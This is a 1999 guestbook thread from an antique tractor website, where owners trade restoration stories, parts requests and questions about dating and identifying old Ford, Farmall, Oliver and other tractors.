davy walker wrote on Thursday, June 03, 1999 (PDT):i have two averys and hope to make one good tractor out of the two. I understand that they were made in louisville ky and were bought out by the moline company... most avery tractors i have seen had a single wheel in front but mine have tricycle front ends...any info about the hydralic system would be helpful
Larry Anderson wrote on Thursday, June 03, 1999 (PDT):I fondly remember the day we took delivery of this D-15. I must have been 12 at the time. This tractor was "little brother to our "bigger" D-17. Dad and I would often head to a field and "double up" on the field work. I always remember the D-15 being able to outrun the D-17. D-17 was pulling a 3/16 plow, the D-15 would go a bit faster pulling a 3/14 plow. It also would easily run away from the D-17 in hi or low road gear. The hand clutch made it such an easy tractor to manuever. Wish I still had that tractor!!!
Nick wrote on Wednesday, June 02, 1999 (PDT):I own a '46 model. The D has 501 cubic inches, more than a G. It has 4 hp less than a G. It should make a great pulling tractor.
Nile Folin wrote on Tuesday, June 01, 1999 (PDT):I've owned a G1000 for about 5 years. It is a workhorse. The 6 cyl diesel starts easy and provides much more power than my JD4020 could even think of doing. Other than fuel consumption I see no reason why they do not continue to be a cost effective popular tractor. I generally use this one for spring field work and later for round baling hay.
David Reise wrote on Monday, May 31, 1999 (PDT):I believe you will find that the Fordson Super Dexta was last Produced in 1964 and was the last line of tractor to carry the Fordson name I have a 1963 model year in process of restoration Dave Reise Portsmouth Rhode Island
mlp wrote on Saturday, May 29, 1999 (PDT):I have found one of these tractors at a salvage yard and it needs a lot of work and parts. The owner said he would take 700 for the tractor just like it is with no promises. He bought the tractor from a lady who's husband was using the tractor and it just quit several years ago and they never tried to start the tractor again. I have heared the parts are high and can be hard to get locally in central Mississippi. I have also heard the tractor is not easy to start and the timing has to be set just perfect. The tractor needs fenders and a starter are these hard to find? Please e-mail me with any information you have.
Chuck wrote on Friday, May 28, 1999 (PDT):We have restored a Cockshutt #30 and it turned out very well. They are a beautiful tractor. However, ours has a Schwartz wide front on it and give a complete different appearance that the Cockshutt wide front. This one also has the live power and live PTO.
Dave wrote on Wednesday, May 26, 1999 (PDT):I am searching for a wide front end for a 230 c , SUPER C Need to get tractor repaired for farming. Also looking for a starter for OC3 Oliver.
Dave Duttry wrote on Wednesday, May 26, 1999 (PDT):I am searching for a wide front end for a 230 c , SUPER C Need to get tractor repaired for farming. Also looking for a starter for OC3 Oliver.
Douglas Burris wrote on Wednesday, May 26, 1999 (PDT):If anyone is trying to contact me re-MH GP, my adress has been changed to dburris at ns.sympatico.ca
Roger Baker wrote on Tuesday, May 25, 1999 (PDT):I have just purchased an 8n with the six cylinder engine. How can I tell if it's a Funk or a Glover conversion? Also, how can I tell the year of the tractor with the motor changed?
Howard wrote on Tuesday, May 25, 1999 (PDT): I have found a MF35 for sell and it has a new paint job, runs good with several new parts. I noticed it smoked when I started driving it. After driving the 35 I checked the oil and the oil had a milky look. The price for this tractor was 5000.00. After seeing the oil I was alittle shacky about purchasing this tractor. Could you give me some idea what was wrong causing the oil to be like this.
nathan rannie wrote on Tuesday, May 25, 1999 (PDT):i'm looking for a pic of a Farmall super A tracotr. the seat is off set for cillender gas
Grant Kelly wrote on Tuesday, May 25, 1999 (PDT):I have a Super 55 and use it every weekend. The only weird part is that when I bought it, somebody had replaced the original diesel motor with a Vauxhall engine. The bolt pattern was the same for some strange coincidence. It runs great but has no governor so keeping it going at a constant RPM is a bit tricky until you get the hang of it. I'd love to hear from other Super 55 owners.
Tom S. wrote on Tuesday, May 25, 1999 (PDT):I have a 1945 SC and have been working to restore it for the past 4 years. I don't have much time for it so it will probably take another 4 years to finish. I bought it in pieces and now it runs great so we've already made significant progress. I don't farm but if I did I think this tractor would be a good piece of equipment. The hand clutch has its benefits.
Rick Cline wrote on Monday, May 24, 1999 (PDT):I recently purchased an 8N in very good condition, still in it's original 6-volt configuration. The serial number, as best as I can determine, is NJ279 8N D. Does anyone know how to tell the manufactured date of this model?
Dennis H. wrote on Sunday, May 23, 1999 (PDT):I have only had my 1958 Oliver 550 Gas for a little over a year now. I use it to rake hay, bush hog, finish mow, grade, plow and till. I feel it would be much better for tilling if it had a lower first gear, but other than that it is an excellent all around utility type tractor. It uses so little fuel that I recently sold my single cylinder riding mower and bought a finish mower to use on the 550. The 550's 4cyl 42HP engine uses less than half the gas the 16HP Kohler engine would use to do the same job. When you use the live hydraulics and independant PTO along with all that power, you'll know it is in a different class than the other small utility tractors that you hear and see everyone else trying to use.
bobcat wrote on Saturday, May 22, 1999 (PDT):This tractor looks close to the one I enjoyed driving as a kid on the farm. But in a way, it looks too new. Did it have a hand clutch? And started by turning a wheel on left side of tractor?
Eugene E. Conn wrote on Friday, May 21, 1999 (PDT):I have what I think is a 1939 Farmall cub. I would like to know where I can obtain parts for this tractor it was left to me by my father.
Greg Ballachino wrote on Friday, May 21, 1999 (PDT):I own a 1930 ooc massey 4-wheel drive 1935 models had a ohc hercules
Charlene Dentler wrote on Friday, May 21, 1999 (PDT):Would like to see your photo and any information you might have on, Kimble and Dentler co. Vicksburg Mich. They got into the tractor business in 1913. 40 horsepower four-cylinder engine. Thank you, Charlene
Jake wrote on Thursday, May 20, 1999 (PDT):I recently bought a 8N, I was on the internet wondering if I could find parts, and then I found this web sight! It has been a great help. I restore old Chevrolets and there is quite a lot of reproduction parts for them, but I didn't now there was this much for old tractors. Well, I guess I know now and I'm sure I'll be ordering many parts from you in the future! THANKS
Gunny wrote on Wednesday, May 19, 1999 (PDT):Looking for light brackets for a Case LA Propane, Help!!!Please advise who what and where . Thank you. Fun to rebuild but parts sometimes hard to find!
barry Silver wrote on Tuesday, May 18, 1999 (PDT):I am looking at atractor just like the picture. If I hang a 500 lb weight off the 3 point hithch it drops about 2 inches a minute. Is that a problem in the real world.
bret birdsong wrote on Sunday, May 16, 1999 (PDT):I have a disk-plow for a M or H. Anyone interested,or have photos,or info, please contact me.
Tim Garrison wrote on Sunday, May 16, 1999 (PDT):Restoring 1946 CO-OP E3 Having trouble finding anything about these tractors found some parts such as brrakes and a hood but need grill and gas tank also need a picture of one. paid 300.00 for the tractor and it runs think I got a pretty good deal
bob tj wrote on Saturday, May 15, 1999 (PDT):I have 8n tractor, I have a rake that needs the teeth or fingers, but I don't know where I can get them. If anybody knows where I could maybe find them and other parts please help me
josh wrote on Friday, May 14, 1999 (PDT):My grandmother has a ford ferguson made in 1945 and she is looking to sell it. If anyone knows what it is worth or any helpful information please contact me at teri at rsg.org thank you.
John wrote on Thursday, May 13, 1999 (PDT):This is for Rebel, I have a BN block. Call JP Tractor Salvage 573-783-7055 ask for John Jr.
Carmen & Bruce wrote on Wednesday, May 12, 1999 (PDT):Hi. We currently own a 1940 Oliver 60. When our farm was started in the early 40's this was the first tractor to run the farm. This particular Oliver has a lot of sentimental value. We are in the process of restoring it and are have a few complications with the details. If anyone out there is reading this and can help - please do! Our only problem with finishing the restoration of our tractor is the color scheme. I have had many people reply but no good hard evidence to back it up. I need to know what the detail color of the 1940 Oliver 60 are. The strips on the front of the grill to the color of the dash board. The Oliver 60 was made from 1940 to 1949. The colors changed a little each year. If any one knows what the ORIGINAL color of the first ever made Oliver 60 please advise!
Tracy Carlson wrote on Tuesday, May 11, 1999 (PDT):My father may have the smaller brother of this tractor. It also was made by Fate-Root-Heath, but it actually carries the "Plymouth" marque. It's about a 1932, still on original rear rubber, and has a Hercules engine. We've been trying to find info on his, and yours may be the best lead-in I've come across.
Ray Bertrand wrote on Tuesday, May 11, 1999 (PDT):I have recently acquired a Cockshutt 60. I haven't located the serial number but know that this model was built between 1940 and 1948. If anyone has any info on this tractor I would really like to hear from you. I am looking for pictures, colour if possible Thank you Ray Bertrand
Rick Faber wrote on Tuesday, May 11, 1999 (PDT):My dad bought one new, we both farmed with it. I think there was only 600 built. Also,they were built by Oliver, an Massy bought 'em an painted them Red/Grey. We have restored other MF tractors.
Ivan Crain wrote on Tuesday, May 11, 1999 (PDT): First, I do not want my address given out! We owned an Oliver 60 in the late 40's and 50's. I don't know much technical about it or anybody else that owned one in that area. It was a very powerful little tractor for its size and held up good. We had it for a second tractor and used it quite extensively. I was 14 at the time and Dad bought it for me to use in the feild as by older brother was using an F-20 Farmall at this time which was our main tractor. The little Oliver was a little light in the front end and would rare under a heavy load going up a steep hill and one leaned to be aware of this quickly. We were pulling a hayrack & loader, loading loose hay one day and started up this steep grade when I had to shift down and when I let the clutch out, I think I looked the sun right the eye at high noon. I can still here my Dad yelling hit the clutch, the clutch which I did and thankfully it came back down on its wheel. That was the only drawback that I remember, otherwise a very good little machine. Outs didn't have a road gear or lights. I have one now that came equipped with those but will need extensive restoring, but the tin wear is in very good shape. I've never heard it run but the fellow who sold it to me said he was only the second owner and all he used for was pulling wagons and the man before him had only a small acreage so there should be no bad damage to it. I've just recently retired from Ford Motor Co. so haven't done a lot to it yet. Have the motor out and the head rebuilt and some new parts. Will need two or three push rods and perhaps a different camshaft as three valves were stuck and it appears that it was run that way some. My brother and I got into a little trouble while using these tractors as brothers some times do. We should have been supervised a little closer by Dad. Ha! Will close for now.
Margot wrote on Monday, May 10, 1999 (PDT):I have a 1947 Cub which needs to have a face lift. (I do to!) I haven't been able to find out the correct color red. PLEASE.....if you have that information, send me the information. Thank you!!!!!!
Philip Moore wrote on Sunday, May 09, 1999 (PDT):I have a Farmall very similar to the one pictured. The rear tires are not as tall and it says "Farmall" in Chrome metal letters on the side of the hood. It also has live hydraulics built into it, under the gas tank. I have the belly mounted cultivator too. I took it off, and I am trying to get a sickle mower attached to the rear. I have the mower mounted, but I am missing some parts. I need to get the parts that connect the raise/lower mechanism to the hydraulic arms that are mounted underneath the gas tank. If anybody has or knows of some pictures that detail the mechanism, please post the address here. Thank you, Phil.
Rebel wrote on Sunday, May 09, 1999 (PDT):I just got a "BN" given to me as a house warming gift and I have a cracked block on it. I'm trying to find info on this tractor. I would like to know how to check the oil level on it and if "J B weld would work on fixing the block. It's cracked on the water jacket.
B.G. Pryor wrote on Sunday, May 09, 1999 (PDT):Do you have a power take off unit for the Allis Chameler G 1948 tractor? If so what is the cost and your location.
garry ouellette wrote on Saturday, May 08, 1999 (PDT):i am looking for super 90 parts...whats the differences between the 2 tractors and does the 98 have a perkins diesel thanxs
clark Kibler wrote on Friday, May 07, 1999 (PDT):I grew up in the orange groves of California and wonder if any Case DO models are still around. Have need to restore one now. Prettiest tractor made.
Bill wrote on Thursday, May 06, 1999 (PDT):I also own one, it's a AV. Some pictures of it are in Guy Fay's book- Farmall letter series tractors.
Tommy Goodwin wrote on Tuesday, May 04, 1999 (PDT):My father is restoring a John Deere "M", but the decal set he ordered from John Deere, the letters are much smaller than the ones that were on it (it had been previously re- painted) and he wants it to be right and original. Can you help us with some resorce we can depend on for the correct info and placement as per original equipment specs. Thanks in advance for any help you can offer. He lives in Pittsboro NC. Tommy Goodwin
Alan Gilchrist wrote on Tuesday, May 04, 1999 (PDT):HELP; I have found one of these little tractors in my barn that has been forgotten for afew years. I remember driveing the tractor when I was young. The carb. crapped out and the tractor was parked. I am trying to fix this tractor to sell it. The tractor is in good shape but has been repainted at some time. I do not know how many hours are on it but as I work on it I'm not finding much wrong. So far it is limited to the points/condenser and the needle on the carb. My questions are, #1 What are the differences in the models made? How do I tell what I have? And how much is this tractor worth? It is not in show room shape but is a solid little tactor. It would make a great mowing tractor. Would $1000 -$1500 be out of line on this?
Sam Rumade wrote on Sunday, May 02, 1999 (PDT): I work for Warrick Co. Co-op in Evansville, In. We use a 30 to move anhydrous tanks when we fill them. Good old tractor.
mike miller wrote on Saturday, May 01, 1999 (PDT):i love this tractor.looks like a very well restored model. bye
Ernie Peterson wrote on Friday, April 30, 1999 (PDT):Are you sure the MM pictured is a 1937. My dad had a Z and a ZB. I don't know what year the Z was but the ZB was a 1955 our first brand new tractor. The tractor pictured looks more like the ZB because of the higher seat and the angle of the steering wheel. The Z had a seat that put you almost behind the rear wheels and the steering wheel was almst a streight line to the front.
Jim Hektor wrote on Friday, April 30, 1999 (PDT): I just got a 1951 HG. Looks like a great machine but need a used grill, the original is missing. Anyone have a parts machine like this I might get a grill and other misc. stuff from ? I am in Maryland.
David M.Maryott Sr. wrote on Wednesday, April 28, 1999 (PDT):I have what seams to be a 40 or 41 ford 9N tractor, it came with the property I purchased in Dec. 98. I need to order a new aircleaner for it but the parts lists speaks of a access door through the hood. My air cleaner is side mounted and requires no door. It looks like it was mounted to or next to the battary tray. What looks like a bracket is broken and was modified. I sure could use some help with information. Thanks (engine # 9NI55736)The number says it a 1941, I wonder ?? Thanks.
Adam Brookens wrote on Wednesday, April 28, 1999 (PDT):i own a 1937 Case L tractor and it run grate and Case is the best tractors ever.
Bill Dunham wrote on Wednesday, April 28, 1999 (PDT):My father owned a 1929 Rumley Do All that we rebuilt. It had a 4 cylinder Waukeshaw engine. The same engine was used in the "International 6 speed special delivery truck". The tractor had a "Twin Disc" clutch and a 3 speed transmission. The drive wheels were flat about 12 inches wide with spade lugs. One version had a very wide stance on the rear wheels which made it very difficult to plow with.
Adrian Farragher wrote on Wednesday, April 28, 1999 (PDT):We've owned a tractor of this model for years and it has sentimental value. We do have one gripe however and it's to do with the hitch. After so many uses the tractor is not able to lift anything or else it will slowly slip to the ground after lifting. Is there a more permanent fix that anyone knows about?
Carmen Schoenmaker wrote on Tuesday, April 27, 1999 (PDT):We just purchased what appears to be this same year tractor from a friend who was selling there place. It needs some work but it runs good and strong. It has the Ford Ferguson
Karl Hildebrand wrote on Tuesday, April 27, 1999 (PDT):I found a Model A in the paper for sale with a plow. I haven't seen it yet, but was wondering what it looked like, so was happy to see the picture. Do they take 3pt hitch attachments or are they belt driven? What is a good price for one in running condition?
Phillip Wilkerson wrote on Sunday, April 25, 1999 (PDT):what are the tractors on either side on this, the Minneapolis Moline Waterloo. I have seen one in Iowa. Would loke to know what it is thanks Phillip
Glen Rowe wrote on Sunday, April 25, 1999 (PDT):My uncle bought one of these tractors new. We have used it for years. One tough tractor(But most FORD TRACTORS are).
Trevor Oester wrote on Saturday, April 24, 1999 (PDT):this is my grandpas Model T tractor. At the tractor show that it was at last year, i made an attempt to start it, and it would fire. My Grandpas name is William Oester. He owns the a Farmall mentioned on this page, and he also owns the Samson horse. I think that he would be very proud to know that all of his restorations on on the world wide web for millions to enjoy. If you need any further information on any of his tractors, I STRONGLY incourage you to contact me.
Trevor Oester wrote on Saturday, April 24, 1999 (PDT):holy smokes, this is my grandpas tractor. my grandpa is 87 and lives in Scapoose oregon. This picture was taken at the annual Antique Powerland show. I think that it is powered by a Chevy 454, and is in running condition. M grandpa purchased it at a yard sale, or something of that nature, and restord it. he told me that there is only like 2 others that he knows about. It was built when it was illegal to use horse drawn farm equipment, so you walk behind and steer with reins. it does have a little buggy to go with it to.
Stanley Jaques wrote on Thursday, April 22, 1999 (PDT):I have a vistaG1000 tractor that I use on my farm and like it vary well. runs good and vary dependabal.
Charlie Seal wrote on Monday, April 19, 1999 (PDT):Can you please help me out, I have just purchased a Fordson Major and think it is a 1954 model, I need to know how many litres of oil for the diff and hydraulics and what type of oil I need to use, as I have not dealt with any tractors before and am having a hard time finding out information. Anticipating you reply. Thank You. Charlie.
Terry Stefancik wrote on Sunday, April 18, 1999 (PDT): As a youngster I used to operate an "R" all day long. I really love those old tractors. You couldn't beat them for fuel efficiency, although the ride was a little rough and the hydraulic system needed updating.
zach faust wrote on Sunday, April 18, 1999 (PDT): I have been tying to find a oliver like this one foe a while, and i would like to know how much this kind of tractor go's for
dusty moran wrote on Saturday, April 17, 1999 (PDT):This tractor started on gas and then once warm switched over deisel , It had a carb. and a fuel injector
Lyle Creager wrote on Saturday, April 17, 1999 (PDT):I have one of the later B model tractors fully restored with new rear tires . If I chose to sell what is an average price range for this tractor?
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
DALE DONOHUE wrote on Friday, April 16, 1999 (PDT):We purchased an 8N tractor and believe we found the serial # 2SHJ18, this was on the transmission. But I can not find this number anywhere. If someone can tell me if this is the serial #, or where I might find other indentification. We would like to know the year. Thank You
Gloria Hoekman wrote on Friday, April 16, 1999 (PDT):My father has this tractor,,his dad had bought it new, and still owns and runs it to this day,,,been a real good tractor.
Gloria Hoekman wrote on Friday, April 16, 1999 (PDT):My father has this tractor,,his dad had bought it new, and still owns and runs it to this day,,,been a real good tractor.
James M. Madison wrote on Thursday, April 15, 1999 (PDT):I have a TO-20 ferguson which my father bought new in 1949. It has many hours on it and is still used. The TO-20 is very similar to the ford 9N at the 2n, The TO-20 however is more powerful than the ford. This tractor has the overhead valve Z-120 continental engine which has been a very reliable engine over the years.
Rob wrote on Thursday, April 15, 1999 (PDT):What is the difference between a vac and vao? My vac looks identical to the vao picture.
Dave wrote on Thursday, April 15, 1999 (PDT):I think these tractors are not liked as much because of their size. I never liked them until I bought an LA. Once I sat on it I loved it. These tractors are easy to work on and have very little sheetmetal. The one downside is the serial tags often fall off since they put them right where your foot goes when you get on it.
Doug Burris wrote on Wednesday, April 14, 1999 (PDT):I own a MH 4wd GP. It is a 1937 model and has an overhead valve engine in it. The older series- 1930 -1935 had the flathead Hercules engine. It has been in our family since new. Can anyone tell me the builder of the overhead engine. Is it Hercules also, if so what is the engine model. My engine tag is gone. I am looking for a complete engine or engine block and a rad for my tractor.
Lincoln Keays wrote on Wednesday, April 14, 1999 (PDT):Yes I'm familiar with this tractor. My father's cousin owned a 1947 model and sold it to a neighbor of ours some time in the mid fifties. He worked it everyday almost until he passed away two years ago. The tractor, still working was sold off with the remainder of his assets, which included a 61 0r 62 Massey Ferguson.
Andrew Gazdecki wrote on Wednesday, April 14, 1999 (PDT):I just bought an 8N a few weeks ago. I believe it is a 1948 model, but I cannot read the serial number. Is there any other way to identify the year of manufacture of this tractor? Also, is there a web site that lists swap meets/auctions/old-time farm shows and the like? I would like to look around for parts (original type) for my 8N. Thanks.
Don wrote on Monday, April 12, 1999 (PDT):Just recently purchased a 42 B which was restored by the previous owner. I am the third owner.The tractor was shipped new to Sanger, TX. and stayed in that area until I purchased it last month. I plowed with a G model when I was a young feller, but that one is too large for me to play with now. Thus far, I have really enjoyed my B.
Keith L. Symmes wrote on Monday, April 12, 1999 (PDT):I also have a DI and wondered how you chose the paint colors as mine is an industrial yellow now, but appears to have a dark red underneath. Mina also has a front bucket loader and I want to adapt a Hopto backhoe to it in place of the current counterweight.
Matt Johnson wrote on Sunday, April 11, 1999 (PDT):Are the black wheeles on the WF original color?
Wayne Stow wrote on Saturday, April 10, 1999 (PDT):B.F. Avery tractors were built in Louisville, KY and sold through Montgomery Wards stores. I own one with a mounted two bottom plow (tru-draft system).
M. Jenson wrote on Saturday, April 10, 1999 (PDT):I think these are rare tractors... sure wish I could find one!
Don Moore wrote on Saturday, April 10, 1999 (PDT):This Tractor belongs to Mike Moore of Forest Grove, Oregon. He is the second owner and it was purchased for $50.00 from the original owner. As you can see alot more money has been put into the tractor. The tractor was fetured on the cover of "Prarie Gold" last year. It also has a reputation in the region for pulling very hard.
Scott wrote on Friday, April 09, 1999 (PDT):Does anyone know the exact date of production or serial number that the hood decal on an M was changed from McCormick Deering/Farmall to McCormick Farmall?
Dave Herbeck wrote on Friday, April 09, 1999 (PDT):I own a tractor that looks just like this . It is a high ride and I was told it is a 1952 . The one thing is not the same is that my tractor , on the data plate , says " model FAA V (model FAA is printed and the V is stamped )and SN 334859 this would make me think this is a V model but I can't seem to find info on a V model . If someone out there could help me figure out what kind of tractor I own , for sure , it sure would make it easier to order parts and manuals . Thanks for any help .
kevin hinderman wrote on Friday, April 09, 1999 (PDT):I own a 770 and it is a very good tractor.
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